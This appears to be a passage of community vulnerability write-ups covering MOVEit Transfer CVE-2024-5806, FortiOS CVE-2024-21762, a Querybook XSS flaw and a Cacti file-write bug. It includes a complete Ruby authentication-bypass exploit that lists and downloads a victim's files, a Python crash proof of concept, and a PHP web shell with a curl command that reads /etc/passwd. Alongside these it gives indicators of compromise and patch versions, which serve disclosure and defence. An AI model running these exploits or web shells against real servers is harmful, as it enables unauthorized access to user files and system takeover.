      if (globals.objUser.SignonWithAuthenticator((IAuthenticator) keyAuthenticator, false, interfaceCode: 4, forceOrg: context.HasBoundOrg, establishSession: !validationOnly, clientCertAuthenticated: true)) // <--- [20]
      {
        if (validationOnly)
        {
          this._logger.Info("Validation successful");
        }
        else // <--- [21]
        {
          this._logger.Info("Authentication successful");
          globals.objUser.ErrorDescription = session.HasAuthenticatedByPassword ? "Signed on with local password and client key" : "Signed on with client key";
          globals.objUser.LogSignon(globals.objUser.Username, loginName); // <--- [22]
          globals.objSession.SetValue("MyUsername", (object) globals.objUser.Username);
        }
        return AuthenticationResult.Authenticated; // <--- [23]
      }

This AuthenticationResult.Authenticated value will be returned from AuthenticateByPublicKey to CreatePublicKeyAuthResult, which will complete the authentication process by setting publicKeyAuthResult.AuthResult to AuthResult.Success as shown in [24] below.

    private UserAuthResult CreatePublicKeyAuthResult(
      AuthenticationResult authResult,
      UserAuthRequestHandler.AuthenticationContext authContext,
      string publicKeyFingerprint)
    {
      UserAuthResult publicKeyAuthResult = new UserAuthResult();
      switch (authResult)
      {
        case AuthenticationResult.Authenticated:
          publicKeyAuthResult.HomeFolderPath = UserAuthRequestHandler.GetUserDefaultFolderPath(authContext.Globals, authContext.Session);
          publicKeyAuthResult.AuthResult = AuthResult.Success; // <--- [24]
          authContext.Session.HasAuthenticatedByPublicKey = true;
          authContext.Session.LastPublicKeyFingerprint = publicKeyFingerprint;

Exploitation

As we learnt from our analysis, we need to manipulate a client-side SSH public key authentication request to transmit an empty username during the first step in public key authentication, and then we need to set an arbitrary username when generating and transmitting a signature in response to a USERAUTH_PK_OK message from the server.

We will leverage the open-source Ruby SFTP implementation Net::SFTP to build our exploit. Net::SFTP is built on top of the open-source Ruby SSH implementation Net::SSH. We can easily install these libraries into our environment via Gem:

gem install net-ssh
gem install net-sftp

If we investigate the Net::SSH implementation of how public key authentication works, we can see the following:

# .\net-ssh-master\lib\net\ssh\authentication\methods\publickey.rb

module Net
  module SSH
    module Authentication
      module Methods
        # Implements the "publickey" SSH authentication method.
        class Publickey < Abstract

          def authenticate_with_alg(identity, next_service, username, alg, sig_alg = nil)
            debug { "trying publickey (#{identity.fingerprint}) alg #{alg}" }
            send_request(identity, username, next_service, alg) # <--- [1]

            message = session.next_message

            case message.type
            when USERAUTH_PK_OK
              buffer = build_request(identity, username, next_service, alg,
                                     true) # <--- [2]
              sig_data = Net::SSH::Buffer.new
              sig_data.write_string(session_id)
              sig_data.append(buffer.to_s)

              sig_blob = key_manager.sign(identity, sig_data, sig_alg)

              send_request(identity, username, next_service, alg, sig_blob.to_s) # <--- [3]

We can see above in the authenticate_with_alg function, the public key is first transmitted to the server at [1], and a username is supplied with this request. If the server responds with USERAUTH_PK_OK, then a request containing the session id (generated by the server during the initial key exchange) at [2], is first signed using the identity (the public-private key pair we want to authenticate with), before being transmitted to the server at [3] — again a username is specified here. As the signed data is verified server-side, the username supplied at both [2] and [3] must match, but we can specify a different username at [1].

We can therefore trigger the vulnerability by supplying an non-existent username at [1], and then supplying the username we want to authenticate as, via the authentication bypass vulnerability, in [2] and [3].

We can leverage Ruby’s ability to monkey-patch code, and implement the auth bypass as follows:

require 'net/ssh'
require 'net/sftp'
require 'optparse'

module Net
  module SSH
    module Authentication
      module Methods
        module PublickeyHax
          def build_request(pub_key, username, next_service, alg, has_sig)
            # We trigger the vuln, by first requesting 'publickey' authentication
            # and supplying a non-existent username. The server will think certificate
            # based authentication has been successful, and transmit a USERAUTH_PK_OK
            # response. We then answer the USERAUTH_PK_OK response with a signed
            # request for the username we want to authenticate as, and signed with an
            # arbitrary untrusted RSA key. This will succeed and we will have achieved
            # an authentication bypass. An SFTP session will now be established for
            # the username we specified.
            username = '' unless has_sig
            super
          end
        end

        class Publickey
          prepend PublickeyHax
        end
      end
    end
  end
end

We must use an RSA key to perform signing during public key authentication. This key can be any private RSA key generated by the attacker.

# Any RSA key will work, we generated a small 512 bit key here for testing.
some_rsa_key = %(
-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAJoPI1Lg5U9ZB1cri1Ss6vhqecXAS5ZxJUxvUWRQXOjmUX1a3P93
oqqzS13uPSrPNBK2isNs/JcH1vltL1l9l18CAwEAAQJAZwD8Eyu+5eCWodfBXqoG
qHU4WdmKMFoSIBrFhpacqDJVyUIQ7zTeMCmxtHM98ksIysaHmBKnavanFTx3xLQZ
kQIhAPhi/F1DPJmTthAlLNSGy394bKrEy/f8WyeDKDqIXisjAiEAnsf+Lk8Sxgl4
fnRggVhHvTcl3E95U/sGsT0cRqlNVJUCIQDFcPHINM00Cx2bAeH74lZasmA28o5s
RrYy12gf9wxb3wIgK5hpt7lKREmRZdb6MElW2SLtKEJB48cGnV9UBiqx6skCIC6A
7l/EqY2clj6/NH2xO+PYVbk935g+Im1jamDGHaXV
-----END RSA PRIVATE KEY-----
)

We will define two helper methods — one to recursively list a directory’s contents, and another to download an arbitrary file:

def read_file(sftp, remote_path, local_path = nil)
  $stdout.puts "[+] Reading remote file: #{remote_path}"

  sftp.open(remote_path) do |response|
    if response.ok?

      file_size = sftp.fstat!(response[:handle]).size

      sftp.read(response[:handle], 0, file_size) do |response|
        if response.ok?
          if local_path
            $stdout.puts "[+] Writing local file: #{local_path}"
            File.open(local_path, 'wb+') do |f|
              f.write(response[:data])
            end
          else
            $stdout.puts (response[:data]).to_s
          end
        end
      end
    else
      warn '[-] SFTP open failed (Is the remote file path correct?).'
    end

    sftp.close(response[:handle])
  end
end

def recurser_dir(sftp, base = '/')
  sftp.dir.glob(base, '*') do |entry|
    $stdout.puts entry.longname.gsub(entry.name, "#{base}#{entry.name}").to_s

    recurser_dir(sftp, "#{base}#{entry.name}/") if entry.directory?
  end
end

We will add in a command-line option parser to take some inputs from the user:

options = {
  target: nil,
  port: 22,
  user: nil,
  read_file_path: nil,
  write_file_path: nil
}

OptionParser.new do |opts|
  opts.banner = "Usage: #{File.basename(__FILE__)} [options]"

  opts.on('-t', '--target VALUE', 'Target IP') do |v|
    options[:target] = v
  end

  opts.on('-p', '--port VALUE', 'Target Port') do |v|
    options[:port] = v.to_i
  end

  opts.on('-u', '--user VALUE', 'Username') do |v|
    options[:user] = v
  end

  opts.on('-r', '--read FILEPATH', 'Read a remote file') do |v|
    options[:read_file_path] = v
  end

  opts.on('-o', '--out FILEPATH', 'Write to local file') do |v|
    options[:write_file_path] = v
  end
end.parse!

if options[:target].nil? || options[:user].nil?
  warn 'You must specify a target IP (-t IP) and a user account (-u USER)'
  return
end

And finally, we can trigger the authentication bypass, which allows us to either list directories or download files, after we successfully authenticate.

$stdout.puts "[+] Targeting: #{options[:user]}@#{options[:target]}:#{options[:port]}"

Net::SFTP.start(
  options[:target],
  options[:user],
  {
    port: options[:port],
    key_data: [some_rsa_key]
  }
) do |sftp|
  if options[:read_file_path]
    read_file(sftp, options[:read_file_path], options[:write_file_path])
  else
    recurser_dir(sftp)
  end
end

puts '[+] Finished.'

Our target MOVEit Transfer server was installed with default settings applied. We created a normal user with a username of testuser1 and a complex password.

Using our exploit, we can target a vulnerable system and leverage the authentication bypass to authenticate as a user called testuser1.

We can then demonstrate exploiting the vulnerability to successfully list all the files in this user’s home directory, and then to download one of the files we listed, as shown below:

C:\Users\sfewer\Desktop>ruby hax_sftp.rb -t 169.254.180.121 -p 22 -u testuser1
[+] Targeting: testuser1@169.254.180.121:22
dr-xr-xr-x 1 0 0 0 Jun 18 18:41 /Home
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1
dr-xr-xr-x 1 0 0 0 Jun 18 22:50 /Home/testuser1/TestFolder1
-rw-rw-rw- 1 0 0 8 Jun 18 22:50 /Home/testuser1/test.txt
[+] Finished.

C:\Users\sfewer\Desktop>ruby hax_sftp.rb -t 169.254.180.121 -p 22 -u testuser1 -r /Home/testuser1/test.txt
[+] Targeting: testuser1@169.254.180.121:22
[+] Reading remote file: /Home/testuser1/test.txt
secrets!
[+] Finished.

IOCs

Upon successful exploitation of CVE-2024-5806, the log file C:\MOVEitTransfer\Logs\SftpServer.log, with the default log-level setting of Connect Messages, will contain an entry that looks like this:

2024-06-19 14:14:28.434 #0A z30 <0> (229369681687209268389) Log message from server: Received request for service ssh-userauth.
2024-06-19 14:14:28.449 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:14:28.469 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:14:28.474 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 
2024-06-19 14:14:28.479 #17 z30 <0> (229369681687209268389) SILUser.ExecuteAuthenticators: User '' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
2024-06-19 14:14:28.479 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Client key validation successful but password is also required
2024-06-19 14:14:28.500 #17 z30 <0> (229369681687209268389) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:14:28.502 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 already authenticated for user testuser1; continuing with user authentication process
2024-06-19 14:14:28.521 #17 z30 <0> (229369681687209268389) UserAuthRequestHandler: Authentication successful

We can see above that the log contains the message:

User '' was denied authentication

Indicating an empty username was supplied, before the message:

Client key validation successful but password is also required

Which indicates the public key check was bypassed as a result of an non-existent username being supplied. And then:

already authenticated for user testuser1

Which indicated the attacker is leveraging the auth bypass to authenticate as a legitimate user, and then finally:

Authentication successful

Which indicates the attacker successfully exploited CVE-2024-5806 and authenticated as the user testuser1. No IP address for the attacker is logged.

Follow-on activity from the attacker will be logged and associated with the same SSH channel that was used during the auth bypass (229369681687209268389 in the example above). For example:

2024-06-19 14:14:28.543 #1C z30 <0> (229369681687209268389) Log message from server: Received open channel request for session service.
2024-06-19 14:14:28.558 #1C z30 <0> (229369681687209268389) Log message from server: Received channel request for subsystem sftp.
2024-06-19 14:14:28.574 #1C z30 <0> (229369681687209268389) Log message from server: Negotiated SFTP protocol draft version: 3
2024-06-19 14:14:28.590 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileOpenEventArgs ------
2024-06-19 14:14:28.605 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverGetAttributesEventArgs ------
2024-06-19 14:14:28.621 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileReadEventArgs ------
2024-06-19 14:14:28.621 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverFileCloseEventArgs ------
2024-06-19 14:14:28.636 #1C z30 <0> (229369681687209268389) FileCloseRequestHandler: Successfully completed download of file /Home/testuser1/test.txt
2024-06-19 14:14:28.683 #1C z30 <0> (229369681687209268389) Log message from server: SSH channel [229369681687209268389.0] closed.
2024-06-19 14:14:28.746 #1C z30 <0> (229369681687209268389) ------ Handling event type SftpserverDisconnectedEventArgs ------

Indicates the attacker downloaded the file /Home/testuser1/test.txt.

An example of a failed auth bypass attempt is as follows. In this example an attacker attempted to use the auth bypass vulnerability to authenticate as the sysadmin user. However, this user has an “Remote Access Rule” in place to deny authentication from external IP addresses, causing the check at SILCurrentUser.AllowedAtHost to fail, preventing the auth bypass from working.

2024-06-19 14:21:17.792 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.808 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.814 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 
2024-06-19 14:21:17.819 #17 z30 <0> (187224641687209677712) SILUser.ExecuteAuthenticators: User '' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
2024-06-19 14:21:17.819 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key validation successful but password is also required
2024-06-19 14:21:17.829 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.831 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 already authenticated for user sysadmin; continuing with user authentication process
2024-06-19 14:21:17.836 #17 z30 <0> (187224641687209677712) SILCurrentUser.AllowedAtHost: User 'sysadmin' DENIED ACCESS from 169.254.19.68
2024-06-19 14:21:17.836 #17 z30 <0> (187224641687209677712) SILUser.UserClientIsAuthorized: AllowedAtHost returned False for user sysadmin
2024-06-19 14:21:17.845 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key authentication failed
2024-06-19 14:21:17.855 #17 z30 <0> (187224641687209677712) ------ Handling event type SftpserverSSHUserAuthRequestEventArgs ------
2024-06-19 14:21:17.857 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Validating client key fingerprint 86:63:71:92:59:47:ca:94:0e:2c:0c:e4:b5:1e:70:93 for user 
2024-06-19 14:21:17.862 #17 z30 <0> (187224641687209677712) SILCurrentUser.AllowedAtHost: User '' DENIED ACCESS from 169.254.19.68
2024-06-19 14:21:17.862 #17 z30 <0> (187224641687209677712) SILUser.UserClientIsAuthorized: AllowedAtHost returned False for user 
2024-06-19 14:21:17.872 #17 z30 <0> (187224641687209677712) UserAuthRequestHandler: Client key validation failed
2024-06-19 14:21:22.048 #19 z30 <0> (187224641687209677712) ------ Handling event type SftpserverDisconnectedEventArgs ------
2024-06-19 14:21:22.064 #17 z30 <0> IpWorksServerManager.Dispatcher: Ignoring event connection ID 187224641687209677712 with no corresponding connection in the server
2024-06-19 14:21:22.064 #17 z30 <0> Log message from server: SSH handshake failed: Encountered error while waiting for packet: remote end disconnected.
2024-06-19 14:21:22.064 #17 z30 <0> IpWorksServerManager.Dispatcher: Ignoring event connection ID 187224641687209677712 with no corresponding connection in the server

For a failed exploitation attempt, the attacker IP address was logged.

Remediation

As indicated in the vendor advisory, the following versions of MOVEit Transfer remediate CVE-2024-5806:

  • MOVEit Transfer 2023.0.11
  • MOVEit Transfer 2023.1.6
  • MOVEit Transfer 2024.0.2

Customers are urged to apply the vendor supplied update on an emergency basis.

References

3
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very Low
Technical Analysis

Attacker Value & Exploitability

CVE-2024-21762 is a memory corruption vulnerability that affects a very wide range of FortiNet Firewalls. However it is difficult to exploit and is likely that every affected version will require its own unique offsets, ROP chain etc. in order to be exploited successfully. Patching should be prioritized as these devices sit on the edge of the network however widespread exploitation across all versions is quite unlikely. Due to these factors I’d say the attacker value is a 3/5 as financially motivated sophisticated threat actors could still benefit from this exploit although the exploitability I would say is quite low, 1/5, given the complexities that come along with a memory corruption vulnerability such as this one.

Technical Analysis

FortiOS and FortiProxy with the SSL VPN feature enabled (which is not enabled by default) are vulnerable to an out-of-bound write vulnerability which can allow an unauthenticated attacker to execute arbitrary code by sending specially crafted HTTP requests. The affected versions are:

Version Affected Solution
FortiOS 7.4 7.4.0 through 7.4.2 Upgrade to 7.4.3 or above
FortiOS 7.2 7.2.0 through 7.2.6 Upgrade to 7.2.7 or above
FortiOS 7.0 7.0.0 through 7.0.13 Upgrade to 7.0.14 or above
FortiOS 6.4 6.4.0 through 6.4.14 Upgrade to 6.4.15 or above
FortiOS 6.2 6.2.0 through 6.2.15 Upgrade to 6.2.16 or above
FortiOS 6.0 6.0.0 through 6.0.17 Upgrade to 6.0.18 or above
FortiProxy 7.4 7.4.0 through 7.4.2 Upgrade to 7.4.3 or above
FortiProxy 7.2 7.2.0 through 7.2.8 Upgrade to 7.2.9 or above
FortiProxy 7.0 7.0.0 through 7.0.14 Upgrade to 7.0.15 or above
FortiProxy 2.0 2.0.0 through 2.0.13 Upgrade to 2.0.14 or above
FortiProxy 1.2 1.2 all versions Migrate to a fixed release
FortiProxy 1.1 1.1 all versions Migrate to a fixed release
FortiProxy 1.0 1.0 all versions Migrate to a fixed release

The vulnerability stems from how the request body is parsed when the header Transfer-Encoding: Chunked is set. The vulnerability in itself is quite limited – all it allows for is the ability to write two bytes (\r\n) out of bounds onto the stack. Since all you have to work with is two bytes which have to be 0a0d achieving RCE by directly hijacking rip is not an option and so one must focus on the memory pointers saved on the stack.

Below is a simple PoC which can be used to trigger the vulnerability and cause a segmentation fault:

import socket
import ssl

def create_ssock(hostname, port):
    try:
        context = ssl.create_default_context()
        context.check_hostname = False
        context.verify_mode = ssl.CERT_NONE
        ssock = context.wrap_socket(socket.socket(socket.AF_INET), server_hostname=hostname)
        ssock.connect((hostname, port))
        return ssock
    except Exception as e:
        print(f"Error creating secure socket: {e}")
        return None

hostname = '192.168.1.50'  # Replace with your target hostname
port = 443  # Replace with your target port if different

pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)
if ssock:
    ssock.send(pkt)
    response = ssock.recv(4096)
    print(response)
else:
    print("Failed to create a secure socket.")

The above crash PoC will result in the following segmentation fault:

We can see that the stack pointer has been overwritten by our two bytes 0x0a0d. Turning this seemingly harmless out of bounds write into RCE is no easy process.

By decompiling the binaries of the SSL VPN you can see that a certain function of interest saves the values of r13 and a few other registers on the stack and restores them when the function returns. r13 is of particular interest because it holds a structure pointer to a structure called a1 which happens to hold an address on the heap.

The goal here is to spray the heap with our desired payload. Then trigger the out of bounds write vulnerability when the heap address is stored in r13 such that the low byte of the a1 pointer is overwritten and if all goes to plan, will point to the pre-arranged memory as the shown below:

With this we could reliably redirect the r13 pointer to a buffer we control. Now we just have to fill the buffer with our payload and we should have remote code execution.

Once the above is successfully set up and the memory pointed to is controllable the hard part is done. Normally at this point you would use the system function to execute commands. However in FortiGate this is not an option – the system function cannot be used as the system function runs /bin/sh and the /bin/sh binary on the FortiGate device is a custom application which only runs a few commands.

So if we look back to a previous FortiGate vulnerability from last year CVE-2023-27997 (a similar memory corruption vulnerability in the SSL VPN component) and a number of others FortiGate exploits, they often overwrite a function pointer in an SSL struct which can be triggered by a call to SSL_do_handshake.

Since SSL_do_handshake is dynamically linked we can call it ourselves. We control the first argument and just have to create an SSL struct with the function pointer where we need it.

Once the struct is set up we can load an address from our buffer and now we have direct execution to an arbitrary address. Now all that’s left to do is to construct a ROP chain that will set up and call execl with the same Node.js reverse shell as the last FortiGate exploit. Lucky for exploit devs the FortiGate main program is an all in one binary with a size of over 70MB which provides a plethora of gadgets which can be used.

There is a lot more that goes into ensuring that this process is successful and if you’re interested in exactly how it works I would suggest reading the following wonderfully written blog post.

2
Ratings
Technical Analysis

Entered URL through Draft.js entity data (props.contentState.getEntity(props.entityKey).getData()) in querybook/webapp/lib/richtext/ index.tsx (line 13) misses validation of URL schema using Safelist (‘http:’, ‘https:’), resulting in client-side XSS at <Link to={url} newTab> (line 15), enabling ACE when exploited.

3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Cacti versions prior to 1.2.27 are vulnerable to arbitrary file write that could lead to RCE. This requires authentication and the account needs the Template Editor permission to exploit this vulnerability.

Exploit

Once authenticated, the attacker just needs to import the following XML package, with the desired payload previously base64 encoded.

<xml>
   <files>
      <file>
         <name>resource/payload.php</name>
         <data>...base64 encoded payload…</data>
         <filesignature>...base64 encoded signature of the payload file</filesignature>
      </file>
   </files>
   <publickey>...base64 encoded public key...</publickey>
   <signature>...base64 encoded signature of this package XML file…</signature>
</xml>

Note that the signatures of the payload and the XML file are RSA-based signatures with SHA-256.

The entire XML has to be Gzipped before being sent through the Import/Export > Import Packages page. This results in having our PHP payload file being extracted to the resource/ directory, which is accessible externally at http://<catci host>/<cacti root path>/resource/payload.php.

One typical payload to achieve code execution would be:

<?php system($_GET['cmd']); ?>

which can be triggered by sending the following request:

❯ curl "http://127.0.0.1:8080/cacti/resource/payload.php?cmd=cat+/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

Analysis

The following code snippet from the import_package() function in lib/import.php is responsible for handling the import of the XML package:

 517         foreach ($data['files']['file'] as $f) {
 518                 $fdata = base64_decode($f['data']);
 519                 $name = $f['name'];
 520
 521                 if (strpos($name, 'scripts/') !== false || strpos($name, 'resource/') !== false) {
 522                         $filename = $config['base_path'] . "/$name";
 523
 524                         if (!$preview) {
 525                                 if (!cacti_sizeof($import_files) || in_array($name, $import_files)) {
 526                                         cacti_log('Writing file: ' . $filename, false, 'IMPORT', POLLER_VERBOSITY_MEDIUM);
 527
 528                                         if ((is_writeable(dirname($filename)) && !file_exists($filename)) || is_writable($filename)) {
 529                                                 $file = fopen($filename, 'wb');
 530
 531                                                 if (is_resource($file)) {
 532                                                         fwrite($file , $fdata, strlen($fdata));
 533                                                         fclose($file);
 534                                                         clearstatcache();
 535                                                         $filestatus[$filename] = __('written');
 536                                                 } else {

The data is decoded line 518 and written to file on line 532. The filename is retrieved from the name field line 519 and must include 'scripts/ or resource/ (line 521). The final destination path is constructed line 522. Since the scripts/ directory is not accessible externally, having our payload in the resource/ directory is the preferred option.

Note that there is no protection against path traversal and it should be possible to set the file name to something like resource/../../../../../../../<path from the root>/payload and write the payload anywhere on the filesystem, as long as the user running Cacti has the right permissions.

IoC

The original PoC and the Metasploit module sends a minimum XML package and many optional fields are missing. This generates a series of entries in the main Cacti log (<cacti installation path>/log/cacti.log). These can be a good indicator the exploit has been executed.

2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[195]:import_package(), /lib/import.php[607]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: info in file: /var/www/html/cacti/lib/import.php  on line: 341
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[451]:import_package_get_details(), /lib/import.php[341]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: author in file: /var/www/html/cacti/package_import.php  on line: 481
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[481]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: homepage in file: /var/www/html/cacti/package_import.php  on line: 482
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[482]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: email in file: /var/www/html/cacti/package_import.php  on line: 483
2024-06-25 07:47:00 - CMDPHP PHP ERROR NOTICE Backtrace:  (/package_import.php[41]:form_save(), /package_import.php[200]:import_display_package_data(), /package_import.php[483]:CactiErrorHandler())
2024-06-25 07:47:00 - ERROR PHP NOTICE: Undefined index: copyright in file: /var/www/html/cacti/package_import.php  on line: 490